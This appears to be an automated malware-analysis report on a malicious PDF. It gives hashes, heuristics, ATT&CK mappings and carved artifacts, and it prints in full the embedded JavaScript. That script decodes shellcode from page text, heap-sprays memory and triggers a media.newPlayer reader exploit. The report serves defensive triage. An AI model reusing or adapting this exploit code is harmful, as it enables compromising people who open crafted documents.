Malicious PDF — malware analysis report

Static analysis result for SHA-256 d1c83c98d80823c2…

MALICIOUS

PDF

521.9 KB Created: 2010-04-14 17:12:23 Authoring application: Scribus 1.3.3.14 (via Scribus PDF Library 1.3.3.14) First seen: 2012-09-24
MD5: 1e2ad618d80e70aa5b39483ef1d94bd1 SHA-1: 71ea62b931128c0a02db70eaa9736df0bba9554a SHA-256: d1c83c98d80823c2b67a4ff42a39c750dd85f102e1f7565f16f306e5682c9437
150 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1566.002 Spearphishing Attachment

The PDF contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The PDF_UNESCAPE heuristic suggests obfuscation, and the ML classifier strongly flags it as malicious. The embedded JavaScript file 'javascript_obj0055_001.js' is likely responsible for executing the malicious payload, potentially downloading and running further stages.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9214

Heuristics 5

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    }
var Wo = unescape(shell);
var yR = unescape('%u3727%u27f5');
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.monotype.comMonotype In PDF document text
    • http://www.monotype.com/html/mtname/ms_timesnewroman.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlhttp://www.monotype.com/html/type/license.htmlIn PDF document text
    • https://www.verisign.com/rpaIn PDF document text
    • http://ocsp.verisign.com/ocsp/status0In PDF document text
    • https://www.verisign.com/rpa0In PDF document text
    • http://crl.microsoft.com/pki/crl/products/CodeSignPCA.crl0In PDF document text
    • http://www.microsoft.com/typographyIn PDF document text
🗂 Part of campaign: shared payload fcb479a00b 6 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0055_001.js pdf-javascript-stream PDF /JS object 55 at offset 0x81F4A 1303 bytes
SHA-256: 010992f011307af659e1ffd148e873c75aa77a54b28734c4720c8bf89a249e8e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function New_Script()
{
var ckWord, numWords;
var text = '';

for (var i = 0; i < this.numPages; i++ ) 
{
numWords = this.getPageNumWords(i);
for (var j = 0; j < numWords; j++) 
{
ckWord = this.getPageNthWord(i, j);
text = text + ckWord.toString();
}
}

text = text + ' ';


var k = 1;
var b=0;
var shell = '';
var shell_1 = '';
var shell_2 = '';
var u_shell = '';
var pos = 0;
while (pos < (text.length-1)) {
 pos += k;
 if(!b)
 {
	b = 1;
	if (pos < text.length)
	{ shell_1 = shell_1 + text[pos] + text[pos+1]; pos+=2; }
	else 
	{ shell_1 = shell_1 + text[pos]; pos+=1; }
 }
 else
 {
	b = 0;
	if (pos < text.length)
	{ shell_2 = shell_2 + text[pos] + text[pos+1]; pos+=2; }
	else 
	{ shell_2 = shell_2 + text[pos]; pos+=1; }
	
	u_shell = '%u'+shell_2+shell_1;
	shell_1 = '';
	shell_2 = '';
	shell += u_shell;
 }
 k++;
 if (k>3) k = 1;
}
var Wo = unescape(shell);
var yR = unescape('%u3727%u27f5');
for(i=0;i<15;){yR+=yR;i ++;}
yR=yR.substring(0,32768 - Wo.length);

memory=new Array();

for(i=0;i<0x2000;) {
	memory[i]= yR + Wo; i ++;
}

util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());
try {var obj = this.media;obj['new'+'Player'](null);} catch(e) {}
util.printd("1.345678901.345678901.3456 : 1.31.34", new Date());


}
stream_000_off00000782.bin decompressed-pdf-stream PDF FlateDecoded stream at offset 0x782 409280 bytes
SHA-256: fcb479a00bdf7c05a68b91ba89a8ea3dd2be027dcca112f1f26270c081dc3502

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